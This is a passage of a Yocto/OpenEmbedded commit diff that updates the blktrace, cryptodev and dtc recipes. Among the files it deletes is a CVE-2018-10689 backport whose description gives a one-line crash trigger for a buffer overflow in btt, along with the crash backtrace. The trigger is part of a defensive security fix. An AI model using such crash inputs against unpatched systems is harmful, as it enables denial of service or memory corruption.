-if (sscanf(line, "%s %s", dmp->device, dmp->devno) != 2) { //#2
-free(dmp);
-return 1;
-}
-
-list_add_tail(&dmp->head, &all_devmaps);
-return 0;
-}
-
-int dev_map_read(char *fname)
-{
-char line[256]; // #3
-FILE *fp = my_fopen(fname, "r");
-
-if (!fp) {
-perror(fname);
-return 1;
-}
-
-while (fscanf(fp, "%255[a-zA-Z0-9 :.,/_-]\n", line) == 1) {
-if (dev_map_add(line))
-break;
-}
-
-fclose(fp);
-return 0;
-}
-
- The line length is 256, but the dmp->device, dmp->devno max length
-is only 32. We can put strings longer than 32 into dmp->device and
-dmp->devno , and then they will be overflowed.
-
- we can trigger this bug just as follows:
-
- $ python -c "print 'A'*256" > ./test
- $ btt -M ./test
-
- *** Error in btt': free(): invalid next size (fast): 0x000055ad7349b250 ***
- ======= Backtrace: =========
- /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f7f158ce7e5]
- /lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f7f158d6e0a]
- /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7f158da98c]
- btt(+0x32e0)[0x55ad7306f2e0]
- btt(+0x2c5f)[0x55ad7306ec5f]
- btt(+0x251f)[0x55ad7306e51f]
- /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7f15877830]
- btt(+0x26b9)[0x55ad7306e6b9]
- ======= Memory map: ========
- 55ad7306c000-55ad7307f000 r-xp 00000000 08:14 3698139
- /usr/bin/btt
- 55ad7327e000-55ad7327f000 r--p 00012000 08:14 3698139
- /usr/bin/btt
- 55ad7327f000-55ad73280000 rw-p 00013000 08:14 3698139
- /usr/bin/btt
- 55ad73280000-55ad73285000 rw-p 00000000 00:00 0
- 55ad7349a000-55ad734bb000 rw-p 00000000 00:00 0
- [heap]
- 7f7f10000000-7f7f10021000 rw-p 00000000 00:00 0
- 7f7f10021000-7f7f14000000 ---p 00000000 00:00 0
- 7f7f15640000-7f7f15656000 r-xp 00000000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15656000-7f7f15855000 ---p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15855000-7f7f15856000 r--p 00015000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15856000-7f7f15857000 rw-p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15857000-7f7f15a16000 r-xp 00000000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15a16000-7f7f15c16000 ---p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c16000-7f7f15c1a000 r--p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1a000-7f7f15c1c000 rw-p 001c3000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1c000-7f7f15c20000 rw-p 00000000 00:00 0
- 7f7f15c20000-7f7f15c46000 r-xp 00000000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e16000-7f7f15e19000 rw-p 00000000 00:00 0
- 7f7f15e42000-7f7f15e45000 rw-p 00000000 00:00 0
- 7f7f15e45000-7f7f15e46000 r--p 00025000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e46000-7f7f15e47000 rw-p 00026000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e47000-7f7f15e48000 rw-p 00000000 00:00 0
- 7ffdebe5c000-7ffdebe7d000 rw-p 00000000 00:00 0
- [stack]
- 7ffdebebc000-7ffdebebe000 r--p 00000000 00:00 0
- [vvar]
- 7ffdebebe000-7ffdebec0000 r-xp 00000000 00:00 0
- [vdso]
- ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
- [vsyscall]
- [1] 6272 abort btt -M test
-
-Signed-off-by: Jens Axboe <axboe@kernel.dk>
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/commit/?id=d61ff409cb4dda31386373d706ea0cfb1aaac5b7]
-
-CVE: CVE-2018-10689
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- btt/devmap.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/btt/devmap.c b/btt/devmap.c
-index 0553a9e..5fc1cb2 100644
---- a/btt/devmap.c
-+++ b/btt/devmap.c
-@@ -23,7 +23,7 @@
-
- struct devmap {
- struct list_head head;
-- char device[32], devno[32];
-+ char device[PATH_MAX], devno[PATH_MAX];
- };
-
- LIST_HEAD(all_devmaps);
---
-2.7.4
-
diff --git a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch b/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
deleted file mode 100644
index ab905cf0da..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-blktrace: obey LDFLAGS
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-the patch was imported from meta-mentor layer on yoctoproject git server
-http://git.yoctoproject.org/cgit/cgit.cgi/meta-mentor as of commit id
-aed463414e2e2bf8ca44ba54ee5973e7ed599e57
-
-Signed-off-by: Fahad Usman <fahad_usman@mentor.com>
-
-Index: git/Makefile
-===================================================================
---- git.orig/Makefile
-+++ git/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- PROGS = blkparse blktrace verify_blkparse blkrawverify blkiomon
- LIBS = -lpthread
-@@ -26,19 +27,19 @@ btreplay/btreplay:
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- blkparse: blkparse.o blkparse_fmt.o rbtree.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blktrace: blktrace.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- verify_blkparse: verify_blkparse.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkrawverify: blkrawverify.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkiomon: blkiomon.o rbtree.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt $(LDFLAGS)
-
- $(PROGS): | depend
-
-Index: git/btreplay/Makefile
-===================================================================
---- git.orig/btreplay/Makefile
-+++ git/btreplay/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I.. -I../btt
- OCFLAGS = -UCOUNT_IOS -UDEBUG -DNDEBUG
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-@@ -32,10 +33,10 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btrecord: btrecord.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- btreplay: btreplay.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- depend:
- @$(CC) -MM $(CFLAGS) *.c 1> .depend
-Index: git/btt/Makefile
-===================================================================
---- git.orig/btt/Makefile
-+++ git/btt/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I..
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- override CFLAGS += $(INCS) $(XCFLAGS)
-@@ -38,7 +39,7 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btt: $(OBJS)
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- ifneq ($(wildcard .depend),)
- include .depend
-Index: git/iowatcher/Makefile
-===================================================================
---- git.orig/iowatcher/Makefile
-+++ git/iowatcher/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W -Wunused-result
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-
- PROGS = iowatcher
-@@ -19,7 +20,7 @@ all: $(ALL)
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- iowatcher: blkparse.o plot.o main.o tracers.o mpstat.o fio.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm -lrt
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm $(LDFLAGS) -lrt
-
- depend:
- @$(CC) -MM $(ALL_CFLAGS) *.c 1> .depend
diff --git a/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch b/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch
deleted file mode 100644
index 3b0c1c692c..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch
+++ /dev/null
@@ -1,197 +0,0 @@
-From 70d5ca2d5f3d6b97c11c641b7e0c5836983219a0 Mon Sep 17 00:00:00 2001
-From: Eric Sandeen <sandeen@redhat.com>
-Date: Wed, 28 Mar 2018 15:26:36 -0500
-Subject: [oe-core][PATCH 1/1] make btt scripts python3-ready
-
-Many distributions are moving to python3 by default. Here's
-an attempt to make the python scripts in blktrace python3-ready.
-
-Most of this was done with automated tools. I hand fixed some
-space-vs tab issues, and cast an array index to integer. It
-passes rudimentary testing when run under python2.7 as well
-as python3.
-
-This doesn't do anything with the shebangs, it leaves them both
-invoking whatever "env python" coughs up on the system.
-
-Signed-off-by: Eric Sandeen <sandeen@redhat.com>
-Signed-off-by: Jens Axboe <axboe@kernel.dk>
-
-Unchanged except to modify shebangs to use python3 since
-oe-core does not support python2 anymore.
-
-Upstream-Status: Backport [git://git.kernel.dk/blktrace.git commit 70d5ca2d5...]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
- btt/bno_plot.py | 28 +++++++++++++++-------------
- btt/btt_plot.py | 22 +++++++++++++---------
- 2 files changed, 28 insertions(+), 22 deletions(-)
-
---- git.orig/btt/bno_plot.py
-+++ git/btt/bno_plot.py
-@@ -1,4 +1,4 @@
--#! /usr/bin/env python
-+#! /usr/bin/env python3
- #
- # btt blkno plotting interface
- #
-@@ -38,6 +38,8 @@ automatically push the keys under the gr
- To exit the plotter, enter 'quit' or ^D at the 'gnuplot> ' prompt.
- """
-
-+from __future__ import absolute_import
-+from __future__ import print_function
- import getopt, glob, os, sys, tempfile
-
- verbose = 0
-@@ -60,14 +62,14 @@ def parse_args(in_args):
-
- try:
- (opts, args) = getopt.getopt(in_args, s_opts, l_opts)
-- except getopt.error, msg:
-- print >>sys.stderr, msg
-- print >>sys.stderr, __doc__
-+ except getopt.error as msg:
-+ print(msg, file=sys.stderr)
-+ print(__doc__, file=sys.stderr)
- sys.exit(1)
-
- for (o, a) in opts:
- if o in ('-h', '--help'):
-- print __doc__
-+ print(__doc__)
- sys.exit(0)
- elif o in ('-v', '--verbose'):
- verbose += 1
-@@ -84,10 +86,10 @@ if __name__ == '__main__':
- (bnos, keys_below) = parse_args(sys.argv[1:])
-
- if verbose:
-- print 'Using files:',
-- for bno in bnos: print bno,
-- if keys_below: print '\nKeys are to be placed below graph'
-- else: print ''
-+ print('Using files:', end=' ')
-+ for bno in bnos: print(bno, end=' ')
-+ if keys_below: print('\nKeys are to be placed below graph')
-+ else: print('')
-
- tmpdir = tempfile.mktemp()
- os.mkdir(tmpdir)
-@@ -99,7 +101,7 @@ if __name__ == '__main__':
- fo = open(t, 'w')
- for line in open(f, 'r'):
- fld = line.split(None)
-- print >>fo, fld[0], fld[1], int(fld[2])-int(fld[1])
-+ print(fld[0], fld[1], int(fld[2])-int(fld[1]), file=fo)
- fo.close()
-
- t = t[t.rfind('/')+1:]
-@@ -107,16 +109,16 @@ if __name__ == '__main__':
- else: plot_cmd = "%s,'%s'" % (plot_cmd, t)
-
- fo = open('%s/plot.cmds' % tmpdir, 'w')
-- print >>fo, cmds
-- if len(bnos) > 10 or keys_below: print >>fo, 'set key below'
-- print >>fo, plot_cmd
-+ print(cmds, file=fo)
-+ if len(bnos) > 10 or keys_below: print('set key below', file=fo)
-+ print(plot_cmd, file=fo)
- fo.close()
-
- pid = os.fork()
- if pid == 0:
- cmd = 'gnuplot %s/plot.cmds -' % tmpdir
-
-- if verbose: print 'Executing %s' % cmd
-+ if verbose: print('Executing %s' % cmd)
-
- os.chdir(tmpdir)
- os.system(cmd)
---- git.orig/btt/btt_plot.py
-+++ git/btt/btt_plot.py
-@@ -1,4 +1,4 @@
--#! /usr/bin/env python
-+#! /usr/bin/env python3
- #
- # btt_plot.py: Generate matplotlib plots for BTT generate data files
- #
-@@ -55,6 +55,10 @@ Arguments:
- but the -o (--output) and -T (--title) options will be ignored.
- """
-
-+from __future__ import absolute_import
-+from __future__ import print_function
-+import six
-+from six.moves import range
- __author__ = 'Alan D. Brunelle <alan.brunelle@hp.com>'
-
- #------------------------------------------------------------------------------
-@@ -82,7 +86,7 @@ get_base = lambda file: file[file.find(
- def fatal(msg):
- """Generate fatal error message and exit"""
-
-- print >>sys.stderr, 'FATAL: %s' % msg
-+ print('FATAL: %s' % msg, file=sys.stderr)
- sys.exit(1)
-
- #------------------------------------------------------------------------------
-@@ -163,7 +167,7 @@ def get_data(files):
- if not os.path.exists(file):
- fatal('%s not found' % file)
- elif verbose:
-- print 'Processing %s' % file
-+ print('Processing %s' % file)
-
- xs = []
- ys = []
-@@ -214,8 +218,8 @@ def parse_args(args):
-
- try:
- (opts, args) = getopt.getopt(args[1:], s_opts, l_opts)
-- except getopt.error, msg:
-- print >>sys.stderr, msg
-+ except getopt.error as msg:
-+ print(msg, file=sys.stderr)
- fatal(__doc__)
-
- for (o, a) in opts:
-@@ -293,15 +297,15 @@ def generate_output(type, db):
- def color(idx, style):
- """Returns a color/symbol type based upon the index passed."""
-
-- colors = [ 'b', 'g', 'r', 'c', 'm', 'y', 'k' ]
-+ colors = [ 'b', 'g', 'r', 'c', 'm', 'y', 'k' ]
- l_styles = [ '-', ':', '--', '-.' ]
- m_styles = [ 'o', '+', '.', ',', 's', 'v', 'x', '<', '>' ]
-
- color = colors[idx % len(colors)]
- if style == 'line':
-- style = l_styles[(idx / len(l_styles)) % len(l_styles)]
-+ style = l_styles[int((idx / len(l_styles)) % len(l_styles))]
- elif style == 'marker':
-- style = m_styles[(idx / len(m_styles)) % len(m_styles)]
-+ style = m_styles[int((idx / len(m_styles)) % len(m_styles))]
-
- return '%s%s' % (color, style)
-
-@@ -314,7 +318,7 @@ def generate_output(type, db):
- ofile = '%s.png' % type
-
- if verbose:
-- print 'Generating plot into %s' % ofile
-+ print('Generating plot into %s' % ofile)
-
- fig = plt.figure(figsize=plot_size)
- ax = fig.add_subplot(111)
-@@ -329,7 +333,7 @@ def generate_output(type, db):
- legends = None
-
- keys = []
-- for file in db.iterkeys():
-+ for file in six.iterkeys(db):
- if not file in ['min_x', 'max_x', 'min_y', 'max_y']:
- keys.append(file)
-
diff --git a/meta/recipes-kernel/blktrace/blktrace_git.bb b/meta/recipes-kernel/blktrace/blktrace_git.bb
index 6903053b5b..b108676df4 100644
--- a/meta/recipes-kernel/blktrace/blktrace_git.bb
+++ b/meta/recipes-kernel/blktrace/blktrace_git.bb
@@ -1,19 +1,20 @@
SUMMARY = "Generates traces of I/O traffic on block devices"
+DESCRIPTION = "blktrace is a block layer IO tracing mechanism which provides \
+detailed information about request queue operations up to user space. There \
+are three major components: a kernel component, a utility to record the i/o \
+trace information for the kernel to user space, and utilities to analyse and \
+view the trace information."
HOMEPAGE = "http://brick.kernel.dk/snaps/"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
DEPENDS = "libaio"
-SRCREV = "cca113f2fe0759b91fd6a0e10fdcda2c28f18a7e"
+SRCREV = "366d30b9cdb20345c5d064af850d686da79b89eb"
-PV = "1.2.0+git${SRCPV}"
+PV = "1.3.0+git${SRCPV}"
-SRC_URI = "git://git.kernel.dk/blktrace.git \
- file://ldflags.patch \
- file://CVE-2018-10689.patch \
- file://make-btt-scripts-python3-ready.patch \
-"
+SRC_URI = "git://git.kernel.dk/blktrace.git;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.11.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.11.bb
deleted file mode 100644
index c55577c661..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.11.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver header file"
-
-do_compile[noexec] = "1"
-
-# Just install cryptodev.h which is the only header file needed to be exported
-do_install() {
- install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
-}
-
-ALLOW_EMPTY_${PN} = "1"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb
new file mode 100644
index 0000000000..d5ea9d8529
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb
@@ -0,0 +1,13 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver header file"
+
+do_compile[noexec] = "1"
+
+# Just install cryptodev.h which is the only header file needed to be exported
+do_install() {
+ install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
+}
+
+ALLOW_EMPTY:${PN} = "1"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.11.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.11.bb
deleted file mode 100644
index b3b554c7d3..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-module_1.11.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver kernel module"
-
-inherit module
-
-# Header file provided by a separate package
-DEPENDS += "cryptodev-linux"
-
-SRC_URI += "file://0001-Disable-installing-header-file-provided-by-another-p.patch \
- "
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
-
-RCONFLICTS_${PN} = "ocf-linux"
-RREPLACES_${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb
new file mode 100644
index 0000000000..5192cf03ed
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb
@@ -0,0 +1,16 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver kernel module"
+
+inherit module
+
+# Header file provided by a separate package
+DEPENDS += "cryptodev-linux"
+
+SRC_URI += "file://0001-Disable-installing-header-file-provided-by-another-p.patch \
+ "
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
+
+RCONFLICTS:${PN} = "ocf-linux"
+RREPLACES:${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.11.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.11.bb
deleted file mode 100644
index 9cb5dcb94f..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.11.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A test suite for /dev/crypto device driver"
-
-DEPENDS += "openssl"
-
-SRC_URI += " \
-file://0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch \
-"
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
-
-do_compile() {
- oe_runmake testprogs
-}
-
-do_install() {
- oe_runmake install_tests
-}
-
-FILES_${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb
new file mode 100644
index 0000000000..c541478796
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb
@@ -0,0 +1,22 @@
+require cryptodev.inc
+
+SUMMARY = "A test suite for /dev/crypto device driver"
+
+DEPENDS += "openssl"
+
+SRC_URI += " \
+file://0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch \
+file://0001-tests-Makefile-do-not-use-Werror.patch \
+"
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
+
+do_compile() {
+ oe_runmake testprogs
+}
+
+do_install() {
+ oe_runmake install_tests
+}
+
+FILES:${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev.inc b/meta/recipes-kernel/cryptodev/cryptodev.inc
index c050eda49e..6ada0b0295 100644
--- a/meta/recipes-kernel/cryptodev/cryptodev.inc
+++ b/meta/recipes-kernel/cryptodev/cryptodev.inc
@@ -1,11 +1,16 @@
HOMEPAGE = "http://cryptodev-linux.org/"
+DESCRIPTION = "Cryptodev-linux is a device that allows access to Linux kernel \
+cryptographic drivers; thus allowing of userspace applications to take advantage \
+of hardware accelerators. Cryptodev-linux is implemented as a standalone \
+module that requires no dependencies other than a stock linux kernel. Its \
+API is compatible with OpenBSD's cryptodev userspace API (/dev/crypto)."
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux \
+SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux;branch=master;protocol=https \
"
-SRCREV = "fabe5989a3dc9fba0cd0a40b612247cdde351c01"
+SRCREV = "e0c25e289d6baf1d83c2b9cb523d3bc237d0c0c9"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
new file mode 100644
index 0000000000..347a4aef0f
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
@@ -0,0 +1,24 @@
+From e2c2895d52761ddc6384a31364236dd13f677c34 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 10:44:42 +0200
+Subject: [PATCH] tests/Makefile: do not use -Werror
+
+Otherwise, openssl 3 deprecation warnings become errors.
+Reported at https://github.com/cryptodev-linux/cryptodev-linux/issues/67
+
+Upstream-Status: Inappropriate [upstream needs to update the code]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ tests/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/Makefile b/tests/Makefile
+index 2fb7a9a..e94f80e 100644
+--- a/tests/Makefile
++++ b/tests/Makefile
+@@ -1,4 +1,4 @@
+-CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall -Werror
++CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall
+
+ comp_progs := cipher_comp hash_comp hmac_comp
+
diff --git a/meta/recipes-kernel/dtc/dtc.inc b/meta/recipes-kernel/dtc/dtc.inc
deleted file mode 100644
index 0650e3c82e..0000000000
--- a/meta/recipes-kernel/dtc/dtc.inc
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Device Tree Compiler"
-HOMEPAGE = "https://devicetree.org/"
-DESCRIPTION = "The Device Tree Compiler is a tool used to manipulate the Open-Firmware-like device tree used by PowerPC kernels."
-SECTION = "bootloader"
-LICENSE = "GPLv2 | BSD"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git \
- file://make_install.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
-EXTRA_OEMAKE='NO_PYTHON=1 PREFIX="${prefix}" LIBDIR="${libdir}" DESTDIR="${D}"'
-
-inherit pkgconfig
-
-S = "${WORKDIR}/git"
-
-do_install () {
- oe_runmake install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
-
-RDEPENDS_${PN}-misc += "bash diffutils"
diff --git a/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch b/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch
new file mode 100644
index 0000000000..4c3e34b1ff
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch
@@ -0,0 +1,40 @@
+Fix the build of fdtdump with mingw.
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From ae0ce1fa7f4d679b5f8df1fc0e797246e43547fe Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Marc-Andr=C3=A9=20Lureau?= <marcandre.lureau@redhat.com>
+Date: Wed, 25 Aug 2021 16:13:50 +0400
+Subject: [PATCH] fdtdump: fix -Werror=int-to-pointer-cast
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+With mingw64-gcc, the compiler complains with various warnings:
+error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast]
+
+Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
+Message-Id: <20210825121350.213551-1-marcandre.lureau@redhat.com>
+Acked-by: Rob Herring <robh@kernel.org>
+Signed-off-by: David Gibson <david@gibson.dropbear.id.au>
+---
+ fdtdump.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/fdtdump.c b/fdtdump.c
+index d9fb374..483f367 100644
+--- a/fdtdump.c
++++ b/fdtdump.c
+@@ -21,7 +21,7 @@
+ #define MAX_VERSION 17
+
+ #define ALIGN(x, a) (((x) + ((a) - 1)) & ~((a) - 1))
+-#define PALIGN(p, a) ((void *)(ALIGN((unsigned long)(p), (a))))
++#define PALIGN(p, a) ((void *)(ALIGN((uintptr_t)(p), (a))))
+ #define GET_CELL(p) (p += 4, *((const fdt32_t *)(p-4)))
+
+ static const char *tagname(uint32_t tag)
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/dtc/dtc/make_install.patch b/meta/recipes-kernel/dtc/dtc/make_install.patch
deleted file mode 100644
index ea9359e815..0000000000
--- a/meta/recipes-kernel/dtc/dtc/make_install.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From e9852b9d206df1e42aa4c8afec55a0f5e099b533 Mon Sep 17 00:00:00 2001
-From: Saul Wold <sgw@linux.intel.com>
-Date: Thu, 3 Nov 2011 08:35:47 -0700
-Subject: [PATCH] dtc: Add patch to correctly install shared libraries and
-
-Upstream-Status: Inappropriate [configuration]
-
----
- Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index d8ebc4f..f5e01be 100644
---- a/Makefile
-+++ b/Makefile
-@@ -205,8 +205,8 @@ install-bin: all $(SCRIPTS)
- install-lib: all
- @$(VECHO) INSTALL-LIB
- $(INSTALL) -d $(DESTDIR)$(LIBDIR)
-- $(INSTALL_LIB) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)
-- ln -sf $(notdir $(LIBFDT_lib)) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ $(INSTALL) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/$(notdir $(LIBFDT_lib))
- ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/libfdt.$(SHAREDLIB_EXT)
- $(INSTALL_DATA) $(LIBFDT_archive) $(DESTDIR)$(LIBDIR)
-
diff --git a/meta/recipes-kernel/dtc/dtc_1.6.0.bb b/meta/recipes-kernel/dtc/dtc_1.6.0.bb
deleted file mode 100644
index 92df70d9fc..0000000000
--- a/meta/recipes-kernel/dtc/dtc_1.6.0.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require dtc.inc
-
-LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
